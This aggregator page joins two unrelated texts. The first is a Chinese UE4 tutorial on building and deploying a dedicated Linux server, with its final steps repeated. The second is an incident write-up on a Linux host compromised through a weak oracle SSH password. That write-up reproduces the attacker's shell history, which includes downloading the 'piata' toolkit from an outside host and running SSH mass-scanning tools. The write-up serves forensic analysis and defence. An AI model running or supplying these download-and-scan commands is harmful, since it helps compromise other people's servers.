UE4发布LinuxServer

Posted FanghSpace

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了UE4发布LinuxServer相关的知识,希望对你有一定的参考价值。

UE4发布LinuxServer

文章目录


:::tip 情景内容

  1. 需要开发专用服务器
  2. 需要将Server发到云端Linux系统主机
  3. 需要关闭SSH,服务一直启用
  4. 需要使用UE4

:::

1. Visual Studio 2019

1.1 下载 Visual Studio

:::warning

  • UE4编译源码可以使用VS2022,但就此博客发布时间,需要修改配置文件才能正常编译,而2017版本太老了;
  • 后续的C++编写在选用Rider For UnrealEpic商城的二进制版本UE4;
  • 项目写完后,用源码版UE4打包发布;
  • UE5的试过了,很麻烦,问题很多,想想自己是写代码,何必执着于UE5,于是就释然了
  • 电脑安装源码引擎的硬盘空间至少要有200GB
  • 内存至少16GB,最好去网上查下扩展虚拟内存,自动托管到其他磁盘空间较大的磁盘,最好是固态硬盘
  • 编译源码引擎时,确保关闭无关电脑后台,除非报错,否则不操作电脑做其他事,防止虚拟内存不足

:::

  1. 微软只在Visual Stuido主页提供最新版本下载,需要单独去下载 Visual Studio 2019
  2. 下载社区版的就可以了

1.2 配置 Visual Studio

  • 安装完成后,会进入Visual Studio Installer
  • 已安装内可以看见Visual Studio 2019的安装程序
  • 点击修改
  • 工作负荷内找到游戏,勾选使用C++的游戏开发
  • 此时在右边的安装详细信息内的使用C++的游戏开发的可选项内确保勾选:
    • C++分析工具
    • C++ AddressSanitizer
    • 最新的Window 10 SDK
    • IntelliCode
    • Unreal Engine 安装程序
  • 单个组件内:
    • 默认勾选的C# 和 Visual Basic Roslyn 编译器
    • 搜索勾选MSBuild
  • 最后检查一下是否勾选了最新的Net Framework SDK,该博客勾选的是Net Framework 4.8 SDK
  • 下载安装,安装位置可自定义

:::warning

安装时出现共享组件、工具和SDK的路径不能修改,是因为此前可能已经安装过Visual Studio,需要修改注册表解决问题

解决步骤:

  1. win + r
  2. regedit
  3. HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\VisualStudio\\Setup删除SharedInstallationPath
  4. 重启Visual Studio Installer

:::

1.3 修改解决方案样式

:::tip 可选步骤

  1. 菜单栏内找到工具
  2. 工具->自定义->命令->工具栏->标准->解决方案配置->修改所选内容
  3. 更改宽度:例如200
  4. 若要在生成项目时显示输出窗口,请在选项对话框->项目和解决方案>常规页上,选择在生成开始时显示输出窗口

:::

1.4 管理员模式启动

:::tip 可能重要

  1. VS安装目录内:\\Common7\\IDE\\devenv.exe
  2. 右键->兼容性疑难解答->疑难解答程序->勾选改程序需要附加权限->测试后下一步->保存设置

:::

2. 交叉编译器

:::danger

下载交叉编译器,千万别去官方中文虚幻文档,里面给的交叉编译工具链接版本是错的,应该默认进入官方英文的文档网站内下载

博客使用的是UE4.27.2,下载文档内提供的链接,并确保是-v19的版本,如果不是就进错网站了,正确的网站:UE4.27.2 交叉编译

:::

2.1 安装交叉编译

直接默认安装即可,也可以选择安装路径

cmd验证:%LINUX_MULTIARCH_ROOT%x86_64-unknown-linux-gnu\\bin\\clang++ -v

无效需手动配置环境变量

2.2 配置环境变量

  1. 进入系统环境变量
  2. 添加:LINUX_MULTIARCH_ROOT
  3. 路径:安装目录\\v19_clang-11.0.1-centos7\\x86_64-unknown-linux-gnu\\bin

:::warning

交叉编译器安装和配置完成后,需要重启电脑

:::

3. 源码UnrealEngine

:::tip 省略步骤

github账号

加入Epic组织

选择UE4.27.2 Release下载

:::

3.1 配置Setup.bat

Setup.bat配置表:

Usage:
   GitDependencies [options]

Options:
   --all                         Sync all folders
   --include=<X>                 Include binaries in folders called <X>
   --exclude=<X>                 Exclude binaries in folders called <X>
   --prompt                      Prompt before overwriting modified files
   --force                       Always overwrite modified files
   --root=<PATH>                 Set the repository directory to be sync
   --threads=<N>                 Use N threads when downloading new files
   --dry-run                     Print a list of outdated files and exit
   --max-retries                 Override maximum number of retries per file
   --proxy=<user:password@url>   Sets the HTTP proxy address and credentials
   --cache=<PATH>                Specifies a custom path for the download cache
   --cache-size-multiplier=<N>   Cache size as multiplier of current download
   --cache-days=<N>              Number of days to keep entries in the cache
   --no-cache                    Disable caching of downloaded files

Detected settings:
   Excluded folders: Mac, android, Linux
   Proxy server: none
   Download cache: disabled

Default arguments can be set through the UE4_GITDEPS_ARGS environment variable.
Installing prerequisites...

该博客的配置:(截取的一段,只有**set PROMPT_ARGUMENT=**需要修改)

set PROMPT_ARGUMENT=
for %%P in (%*) do if /I "%%P" == "--prompt" goto no_prompt_argument
for %%P in (%*) do if /I "%%P" == "--force" goto no_prompt_argument
set PROMPT_ARGUMENT=--prompt --threads=20 --cache=E:\\UrealEngineSource\\UE4.27.2\\Cache
:no_prompt_argument
--threads=20 # 加快下载速度,不宜过高
--cache # 将下载的源码文件单独保存到指定位置,方便传给其他人和玩坏了,不用全删了重新下载了
--exclude # 排除不想要的模块

–exclude可选参数:

平台参数:Win32, Win64, osx32,osx64, Linux, Android, ios, html5
VS版本参数:VS2012,VS2013,VS2015
尽量别排除VS版本的参数,平台参数可以排除不要的,该博客默认不加入 --exclude,全要了

3.2 生成UE4.sln文件

上面配置好Setup.bat文件后:

  • 双击运行Setup.bat
  • 双击运行GenerateProjectFiles.bat

3.3 编译源码编辑器

:::warning

  1. 先编译源码 编辑器
  2. 网上有的教程说的很乱,这里就编译Development Editor即可
  3. 注意:
    • 如果是先完成过了源码引擎的编译,后下载交叉编译,需要按照博客[2. 交叉编译器](#2. 交叉编译器)的内容完成检查步骤
    • 再进行博客3.2 生成UE4.sln文件的步骤,再接着往下继续看,并完成下面的全部步骤

:::

双击UE4.sin文件,根据上面的VS2019配置,此时默认管理员模式

在解决方案中依次选择:

  • Development Editor
  • Win64
  • 选中侧边栏的UE4右键->设为启动项
  • 右键UE4选择生成,注意:不希望看见WarningError,如果有请深入排查问题,然后右键UE4选择重新生成

上面的步骤完成后,不关闭VS2019,建议进行下一步:

  • 依次再重新生成AutomationTool、UnrealBuildTool、UnrealFrontend
  • 如果全部没WarningError,就算编译完成了

3.4 创建快捷方式

网上有的教程真的傻,非得打开UE4.slnVS2019里面启动源码虚幻引擎

其实可以进如源码引擎目录:\\Engine\\Binaries\\Win64找到UE4Editor.exe

直接双击启动,或者创建快捷方式,放到方便使用的地方启动,和正常的Epic商城引擎没什么两样

:::warning

源码引擎编译完成后,先打开引擎看看打包功能是否出现⚠️标志

如果有,大概率是VS2019交叉编译器没有配置好,缺失SDK,需要重新生成

如果没有,再往后继续看

:::

4. 打包测试项目

4.1 创建测试项目

  1. 打开UE4,是不是源码引擎无所谓,真的
  2. 新建一个C++、第三人称、无初学者内容包、无光追的项目Test

4.2 修改测试项目

  1. 进入ThirdPersonBP找到Map
  2. 依次创建两个新LevelMap_Translation用来服务器过渡用,Map_Start这是游戏客户端默认打开的地图,已经存在的模板地图是客户端玩家进入的服务器地图
  3. 同时创建一个User Widget,随便给个按钮,实现按钮点击事件Open LevelLevel Name参数是:你的云服务器公网IP:7777,后面会说云主机的配置,也可以直接跳到博客5. 云主机防火墙配置,先拿到公网IP
  4. 打开Map_Start,打开关卡蓝图
  5. Begin Play实现:Create WidgetAdd To ViewportGetPlayerController->SetShowMouse->ture

4.3 设置测试项目

  • 打开项目设置:
    • 全局GameMode可以设为none,默认不设也许,完全不影响测试结果
    • 编辑器初始地图:无所谓
    • 游戏默认地图:Map_Server
    • 过渡地图:Map_Translation
    • 服务器地图:第三人称的模板默认地图
  • 在项目设置,打包中搜索list of maps to include in a packaged build:
    • 添加进上面的三个地图

4.4 修改 build.cs

:::warning

注意:测试项目创建用的是不是源码引擎不重要,后面的[4.5 配置打包程序](#4.5 配置打包程序)要用源码引擎打开,具体后面会写

接下来会编译至少两次项目C++源码,假设最终打包结果为:一个Linux Server,一个Windows Client

需要先打开项目文件的**.sln**,解决方案依次是分别编译一下两种配置:

Linux Server包:Development ServerLinux

Windows Client包:DevelopmentWin64,如果Windows Client想打包成发行版,就选择ShippingWin64,该博客选择Development

如果报错,例如:

  1. 交叉编译比需求的版本老了,那就是交叉编译器装错了,顺便查查系统环境变量,再照着博客3.2 生成UE4.sln文件重来
  2. 缺失对应平台的SDK,去博客的[1.2 配置 Visual Studio](#1.2 配置 Visual Studio)重来
  3. 其他的自行上网查询

:::

上面的是警告,需要注意看需求,选择合适解决方案的配置

首先还算要打开项目目录下的**.sln**文件:

  1. 找到项目目录中的项目名Editor.Target.cs文件

  2. 直接复制这个文件,在同级目录下,再重命名为:项目名Server.Target.cs,打开

  3. 修改内容为:(博客的配置)

    // Fill out your copyright notice in the Description page of Project Settings.
    
    using UnrealBuildTool;
    using System.Collections.Generic;
    
    public class Test01ServerTarget : TargetRules
    
    	public Test01ServerTarget(TargetInfo Target) : base(Target)
    	
    		Type = TargetType.Server;
    		DefaultBuildSettings = BuildSettingsVersion.V2;
    
    		ExtraModuleNames.AddRange( new string[]  "Test01"  );
    	
    
    
  4. 分别是public class Test01ServerTargetpublic Test01ServerTarget(TargetInfo Target)Type = TargetType.Server

修改完成后,再依照上面的Warning内容进行编译项目文件

4.5 配置打包程序

首先找到项目目录下的**.uproject文件,右键Select Unreal Engine Version**,选择Soucre build开头的UE4源码引擎

生成一段时间后,双击**.uproject**文件打开源码引擎

配置打包程序:(目的是一次性同时打包出 LinuxServer和windowsClient两个包)

  1. 在引擎主界面的顶部菜单栏中找到窗口->项目启动程序
  2. 添加自定义启动描述文件
  3. 烘培中选择常规,勾选LinuxServerWindowsNoEditor(也可以是WindowsClient)
  4. 烘培语言:随意,一般默认选en
  5. :选择本地打包存储,修改自己的本地目录路径
  6. 部署:选择不部署 (注意:很重要,不然后面打包会卡在Launching UAT)
  7. 返回

点击启动此描述文件,就可以打包了

5. 云主机/ECS

5.1 云服务配置

:::tip 云主机/ECS/轻量应用服务器

随便哪家的云服务都行,系统最好安装Centos7root密码随你,重要的是防火墙的配置:

  1. 添加TCP,端口:7777
  2. 添加UDP,端口:7777

:::

5.2 上传和运行Server

:::warning

博客省略了将文件上传到远端服务器的过程,反正把LinuxServer包压缩**.zip**格式比较简单操作,容易理解

上传的路径最好是普通用户,好像不允许root用户执行,下面会介绍新建一个普通用户unreal,将压缩包上传到unreal家目录,也就是unreal@hostname ~

:::

  1. 先创建一个普通用户

    useradd unreal
    passwd unreal // 输入两次相同的秘密
    cd /home/unreal
    
  2. 把压缩文件上传的当前目录

  3. 安装解压程序

    yum install unzip
    
  4. 解压压缩包

    unzip 压缩包
    
  5. 通过root设置执行权限

    chmod +x 项目名称Server.sh
    
  6. 切换到普通用户unreal

    su unreal
    
  7. 执行

    ./项目名称Server.sh -log
    
  8. 在本地端,打开WindowsNoEditor包的程序进行测试

注意:在Windows本地段关闭远程连接云服务的SSH,正在运行的Server服务会停止

解决方案:nohupscreen

博客采用最简单的nohup

nohup ./项目名称Server.sh -log &

如果想终止这个服务:

su root
ps aux
// 找到 ./项目名称Server.sh -log 这个命令的进程,记住它的pid
kill pid
unzip 压缩包
  1. 通过root设置执行权限

    chmod +x 项目名称Server.sh
    
  2. 切换到普通用户unreal

    su unreal
    
  3. 执行

    ./项目名称Server.sh -log
    
  4. 在本地端,打开WindowsNoEditor包的程序进行测试

注意:在Windows本地段关闭远程连接云服务的SSH,正在运行的Server服务会停止

解决方案:nohupscreen

博客采用最简单的nohup

nohup ./项目名称Server.sh -log &

如果想终止这个服务:

su root
ps aux
// 找到 ./项目名称Server.sh -log 这个命令的进程,记住它的pid
kill pid

Linuxserver沦陷为肉鸡的全过程实录

Linuxserver沦陷为肉鸡的全过程实录

1 从防火墙瘫痪说起

2015年3月10日,还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢。无法正常浏览网页。急急忙忙感到公司,開始查找问题。

首先排除了交换机故障,由于内部局域网正常。当ping防火墙设备时,丢包严重。非常明显,防火墙出了问题,撑不住了。其Web管理界面根本无法正常登陆。马上联系其服务商远程查找问题,经过近3个小时的分析,得出结论是网内有两台主机大量发送TCP数据包,瞬间就能在防火墙上造成40万链接数。大大超出了防火墙的处理能力,造成无法响应正常路由请求。我们暂且称这两台机器为AB。把这两台机器断线之后。网路立马正常了。防火墙上的链接数非常快减少到正常水平。

主机A配置例如以下:

  • OS - RedHat Enterprise Linux Server release 6.3
  • 部署软件 - Tomcat,sshd, oracle
  • RAM - 4GB
  • CPU - Intel Core i3-2130
  • IP地址 - 172.16.35.201(对外映射为59.46.161.39)

主机B为客户托管主机。详细配置不详。

本文仅仅对主机A进行分析处理。

通过防火墙命令行界面。抓包发现A机器疯狂对一组IP地址进行22port扫描。以下是抓包结果片段:

proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0

能够清晰的看到,肉鸡扫描程序疯狂扫描一个网段内的22port。

2 查找黑客行踪的方法

对于Linux主机,出现故障后分析和处理的根据主要是日志。

/var/log/messages、/var/log/secure都是不可缺少的分析目标。然后就是.bash_history命令记录。

黑客登录主机必定会在日志中留下记录,高级黑客或许能够删除痕迹。但眼下大部分黑客都是利用现成工具的黑心者,并无太多技术背景。

该主机对外开放三个TCP侦听port:

  • 22 sshd
  • 80 Tomcat
  • 1521 Oracle

这三个服务都有可能存在漏洞而被攻击。最easy被扫描攻击的还是sshdusernamepassword被破解。所以最先分析 /var/log/secure日志,看登录历史。

3 沦陷过程分析

3.1 oracle用户password被破解

分析/var/log/secure日志。不看不知道一看吓一跳,该日志已经占用了四个文件。每一个文件都记录了大量尝试登录的情况。执行命令:

cat secure-20150317 | grep ‘Failed password‘ | cut -d " " -f 9,10,11 | sort | uniq

得到
invalid user admin
invalid user dacx
invalid user details3
invalid user drishti
invalid user ferreluque
invalid user git
invalid user hall
invalid user jparksu
invalid user last
invalid user patrol
invalid user paul
invalid user pgadmin
invalid user postgres
invalid user public
invalid user sauser
invalid user siginspect
invalid user sql
invalid user support
invalid user sys
invalid user sysadmin
invalid user system
invalid user taz
invalid user test
invalid user tiptop
invalid user txl5460
invalid user ubnt
invalid user www
mysql from 10.10.10.1
oracle from 10.10.10.1
root from 10.10.10.1
能够看出攻击程序不断採用不同的账户和password进行尝试。

然后在接近尾部的地方发现例如以下2行,说明被攻破了。

Mar  9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2
Mar  9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

可见账户oracle的password被猜中,并成功登入系统。

3.2 黑客动作推演

以下看看黑客用oracle账户都做了什么。首先复制一份oracle的命令历史,防止兴许操作丢失该记录。

cp /home/oracle/.bash_history hacker_history

然后查看分析这个文件。 我在后面备注了黑客的想法。

    1  vi  .bash_profile
    2  vi  .bash_profile    (查看.bash_profile,看变量设置,把/home/oracle/bin添加到PATH)
    3  ll
    4  cd /
    5  vi .bash_profile
    6  vi  .bash_profile    (执行。环境变量设置)
    7  w
    8  ps x                 (查看系统执行进程)
    9  free -m              (查看内存大小)
   10  uname -a             (查看系统版本号)
   11  cat /etc/issue       (查看系统发行版)
   12  cat /etc/hosts       (查看是否有网内机器)
   13  cat /proc/cpuinfo    (查看CPU型号)
   14  cat .bash_history    (查看oracle账户历史操作)
   15  w                    (查看系统负载)
   16  ls -a                    (查看/home/oracle/下的隐藏文件)
   17  passwd               (改动掉oracle账户的password)
   18  exit                 
   19  ls                   
   20  oracle
   21  sqlplus              (执行sqlplus)
   22  su                    (试图切换到root账户)
   23  app1123456           (推測rootpassword)
   24  ls                   
   25  su -
   26  w
   27  free -m
   28  php -v               (查看php版本号)
   29  exit
   30  w
   31  free -m
   32  php -v
   33  ps aux
   34  ls -a
   35  exit
   36  w
   37  free -m
   38  php -v
   39  cat bash_his     (查看历史命令)
   40  cat bash_history
   41  cat .bash_history
   42  wget scriptcoders.ucoz.com/piata.tgz (下载肉鸡攻击软件包)
   43  tar zxvf piata.tgz   (解压软件包)
   44  rm -rf piata.tgz         (删除软件包)
   45  cd piata/            (切换到攻击软件文件夹)
   46  ls -a
   47  chmod +x *
   48  ./a 210.212          (执行攻击软件)
   49  screen               (试图执行screen命令,发现没有后下载它)
   50  ls -a
   51  wget scriptcoders.ucoz.com/screen.tgz
   52  tar zxvf screen.tgz  (解压)
   53  ./screen
   54  exit
   55  w
   56  ps x
   57  cd piata/            (切换到攻击软件文件夹)
   58  ls -a
   59  cat vuln.txt         (查看攻击结果)
   60  ls -a
   61  mv vuln.txt 1.txt    (保存攻击结果)
   62  ./screen -r
   63  nano 1.txt           (查看结果文件)
   64  w
   65  ps x
   66  exit
   67  cd piata
   68  ps x
   69  ls -a
   70  nano 2.txt
   71  exit
   72  w
   73  ps x
   74  cd piata/
   75  ls -a
   76  cat 
   77  mv vuln.txt 2.txt    (保存结果)
   78  nano 2.txt
   79  w
   80  ps x
   81  cd piata/
   82  ls- a
   83  cat vuln.txt 
   84  rm -rf vuln.txt 
   85  ./screen -r
   86  exit
   87  w
   88  ps x
   89  cd piata/
   90  ls -a
   91  cat vuln.txt 
   92  ls -a
   93  mv vuln.txt 3.txt    (保存结果)
   94  nano 3.txt 
   95  exit
   96  w
   97  ps x
   98  cd piata/
   99  ls -a
  100  cat vuln.txt 
  101  rm -rf vuln.txt 
  102  exit
  103  w
  104  ps x
  105  cd piata/
  106  ls -a
  107  cat vuln.txt 
  108  rm -rf vuln.txt 
  109  rm -rf 1.txt 
  110  rm -rf 2.txt
  111  rm -rf 2.txt.save 
  112  rm -rf 3.txt 
  113  screen -r
  114  ./screen -r
  115  exit
  116  w
  117  ps x
  118  cd piata/
  119  ls -a
  120  cat vuln.txt 
  121  ls -a
  122  nano vuln.txt 
  123  rm -rf vuln.txt 
  124  screen -r
  125  ./screen -r
  126  exit
  127  w
  128  ps x
  129  cd piata/
  130  ls -a
  131  cat vuln.txt 
  132  nano vuln.txt 
  133  w
  134  ls -a
  135  rm -rf vuln.txt 
  136  screen -r
  137  ./screen -r
  138  exit
  139  w
  140  ps x
  141  cd piata/
  142  ls -a
  143  cat vuln.txt 
  144  rm -rf vuln.txt 
  145  ps x
  146  ls -a
  147  ./screen -r
  148  exit
  149  w
  150  ps x
  151  cd piata/
  152  ls -a
  153  cat vuln.txt 
  154  nano vuln.txt 
  155  w
  156  rm -rf vuln.txt 
  157  ./screen -r
  158  exit

3.3 攻击工具一览

前面通过命令历史记录。能够看出攻击工具软件包为名为piata。

下载来看看它的面目。

[[email protected] piata]# ll
total 1708
-rw-r--r--. 1 oracle oinstall      0 Mar 10 13:01 183.63.pscan.22
-rwxr-xr-x. 1 oracle oinstall    659 Feb  2  2008 a
-rwxr-xr-x. 1 oracle oinstall    216 May 18  2005 auto
-rwxr-xr-x. 1 oracle oinstall    283 Nov 25  2004 gen-pass.sh
-rwxr-xr-x. 1 oracle oinstall     93 Apr 19  2005 go.sh
-rwxr-xr-x. 1 oracle oinstall   3253 Mar  5  2007 mass
-rwxr-xr-x. 1 oracle oinstall  12671 May 18  2008 pass_file
-rwxr-xr-x. 1 oracle oinstall  21407 Jul 22  2004 pscan2
-rwxr-xr-x. 1 oracle oinstall 249980 Feb 13  2001 screen
-rw-r--r--. 1 oracle oinstall 130892 Feb  3  2010 screen.tgz
-rwxr-xr-x. 1 oracle oinstall 453972 Jul 13  2004 ss
-rwxr-xr-x. 1 oracle oinstall 842736 Nov 24  2004 ssh-scan
-rw-r--r--. 1 oracle oinstall   2392 Mar 10 05:03 vuln.txt

当中 a, auto, go.sh gen-pass.sh, 都是bash脚本文件,用于配置扫描网段。调用扫描程序。pscan2和ssh-scan则为扫描程序。 vuln.txt记录获得的肉鸡列表。

眼下尚未发现其它系统文件被黑客改动。也没有自己主动执行攻击软件的设置。

4 深刻教训

尽管这次被攻击的机器仅仅是一个測试主机,其本身的重要性并不高,但却造成了防火墙的瘫痪,进而造成互联网不能正常訪问。对此,必须引起足够重视,并从中汲取教训。

  • 系统账户password一定要有一定的复杂度。

    这次攻击就是由于oracle账户password过于简单所致。

  • sshd採用password方式登录风险非常大。特别是password简单的时候。可行的情况下,尽量关闭password方式,改用公钥方式。

  • 作为数据中心管理员,一定要监督监管系统管理员和软件开发商的服务安全,本次被攻击主机就是把全部权限都放给了站点开发公司,而开发公司对运营安全并不重视。

上面是主机A的情况,主机B为我司托管的客户主机,我没有管理权限,眼下正在等他们的检查改动报告。
































以上是关于UE4发布LinuxServer的主要内容,如果未能解决你的问题,请参考以下文章

3Dmax 导入UE4

UE4基础知识总结(五)

UE4 C++入门之路1-C++和蓝图的关系和介绍

UE4:C++API分类

UE4修改项目缓存路径,释放C盘

ue4如何操作在界面输入c语言